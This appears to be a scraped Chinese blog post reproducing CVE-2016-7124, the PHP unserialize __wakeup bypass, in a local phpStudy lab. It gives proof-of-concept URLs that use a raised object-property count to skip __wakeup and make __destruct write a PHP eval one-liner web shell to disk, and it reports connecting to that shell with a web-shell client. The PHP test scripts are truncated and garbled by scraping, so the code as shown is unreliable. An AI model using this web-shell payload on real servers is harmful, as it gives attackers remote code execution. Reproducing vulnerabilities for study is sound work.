天天看點

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

CVE-2016-7124php反序列化漏洞複現

0X00漏洞原因

如果存在__wakeup方法,調用 unserilize() 方法前則先調用__wakeup方法,但是序列化字元串中表示對象屬性個數的值大于 真實的屬性個數時會跳過__wakeup的執行

0X01漏洞影響版本

PHP5 < 5.6.25

PHP7 < 7.0.10

0X02漏洞詳情

PHP(PHP:HypertextPreprocessor,PHP:超文本預處理器)是PHPGroup和開放源代碼社群共同維護的一種開源的通用計算機腳本語言。該語言主要用于Web開發,支援多種資料庫及作業系統。PHP5.6.25之前版本和7.0.10之前的7.x版本中的ext/standard/var_unserializer.c檔案存在安全漏洞,該漏洞源于程式沒有正确處理無效的對象。遠端攻擊者可借助特制的序列化資料利用該漏洞造成拒絕服務。

0X03漏洞複現環境搭建

使用Windows10作業系統,搭建phpStudy一鍵內建環境搭建web服務。

這裡需要将php版本設定為有漏洞的版本。

我這裡使用的是php5.4.45+apache+mysql一鍵內建環境

0X04漏洞複現

搭建好後,我們首先需要編寫測試腳本

測試腳本如下:

echo"this is __wakeup

";

}publicfunction __destruct(){

echo"this is __destruct

";

}

}

$str= $_GET["s"];

@$un_str=unserialize($str);

echo $un_str->name."

";?>

腳本上标明接收s參數,對其反序列化後輸出name屬性的值。

編寫poc通路該腳本:

Poc為http://127.0.0.1/test2.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}

通路結果如下圖所示:

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

根據通路結果可以看到反序列化之前先調用了__wakeup 方法,再調用_destruct 方法。

将傳入的序列化資料的對象變量個數由1更改為2,頁面隻執行了__destruct方法,而且沒有輸出name,是由于反序列化資料時失敗無法建立對象。

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

修改測試腳本如下:

echo"this is __wakeup

";foreach(get_object_vars($this) as $k =>$v){

$this->$k = null;

}

}publicfunction __destruct(){

echo"this is __destruct

";

$fp= fopen("D:\\phpstudy\\PHPTutorial\\WWW\\2333.php","w");

fputs($fp,$this->name);

fclose($fp);

}

}

$str= $_GET["s"];

@$un_str=unserialize($str);

echo $un_str->name."

";?>

構造Poc進行寫入一句話木馬操作。

Poc為:http://127.0.0.1/test3.php?s=O:4:"test":1:{s:4:"name";s:29:"<?php @eval($_POST[‘123‘]);?>";}

執行後結果如下圖所示:

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

在對應的檔案夾找到剛剛寫入的檔案,發現檔案中内容為空,沒有一句話木馬,說明寫入失敗。

失敗原因為:__destruct方法在調用時将name參數寫入wcute.php檔案但是由于__wakeup方法清除了對象屬性,是以在調用__destruct時已經沒有了name屬性,是以檔案将會寫入失敗。

将Poc中對象屬性個數改為2繼續嘗試

Poc為:http://127.0.0.1/test3.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST[‘123‘]);?>";}

執行後如下圖所示:

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

在對應的檔案夾找到該檔案發現檔案中被寫入了一句話木馬。

如圖所示:

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

使用菜刀連接配接發現連接配接成功,如下圖所示

cve漏洞複現php,CVE-2016-7124php反序列化漏洞複現

原文:https://www.cnblogs.com/L0ading/p/12704096.html